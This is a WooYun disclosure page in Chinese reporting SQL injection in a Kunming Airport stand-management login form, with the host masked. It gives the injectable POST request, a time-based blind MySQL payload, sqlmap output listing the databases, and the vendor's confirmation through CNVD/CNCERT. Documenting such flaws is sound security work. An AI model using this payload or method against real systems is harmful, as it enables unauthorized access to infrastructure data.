当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0182175

漏洞标题:昆明机场某系统SQL注入

相关厂商:昆明机场

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2016-03-08 14:20

修复时间:2016-04-25 15:55

公开时间:2016-04-25 15:55

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-08: 细节已通知厂商并且等待厂商处理中
2016-03-11: 厂商已经确认,细节仅向厂商公开
2016-03-21: 细节向核心白帽子及相关领域专家公开
2016-03-31: 细节向普通白帽子公开
2016-04-10: 细节向实习白帽子公开
2016-04-25: 细节向公众公开

简要描述:

详细说明:

0.png


昆明机场停机位保障系统

POST /home/public/login.html HTTP/1.1
Host: **.**.**.**
Content-Length: 41
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://**.**.**.**
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.10551.6 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://**.**.**.**/home/public/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=v9ub3q67g811lr185ltql597e3; goms_refferer_url=Home%2FFlightList%2Findex; goms_refferer_url_params=think%3A%5B%5D; Hm_lvt_e65701748f46df4625dd1cce6660bae6=1457371534; Hm_lpvt_e65701748f46df4625dd1cce6660bae6=1457371534
Connection: close
username=admin*&password=123456&remember=1


1.png


2.png


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 94 HTTP(s) re
quests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=admin') AND (SELECT * FROM (SELECT(SLEEP(5)))eKoO) AND ('i
TNn'='iTNn&password=123456&remember=1
---
[01:37:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: Apache 2.2.15, PHP 5.5.26
back-end DBMS: MySQL 5.0.12
[01:37:26] [INFO] fetching database names
[01:37:26] [INFO] fetching number of databases
[01:37:26] [INFO] retrieved:
[01:37:26] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
4
[01:37:34] [INFO] retrieved:
[01:37:44] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[01:39:09] [INFO] retrieved: goms_
[01:40:12] [ERROR] invalid character detected. retrying..
[01:40:12] [WARNING] increasing time delay to 2 seconds
kmg
[01:40:39] [INFO] retrieved: mysql
[01:41:24] [INFO] retrieved: performance_s
[01:43:57] [ERROR] invalid character detected. retrying..
[01:43:57] [WARNING] increasing time delay to 3 seconds
chema
available databases [4]:
[*] goms_kmg
[*] information_schema
[*] mysql
[*] performance_schema
[01:44:53] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 01:44:53

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-03-11 15:55

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给云南分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价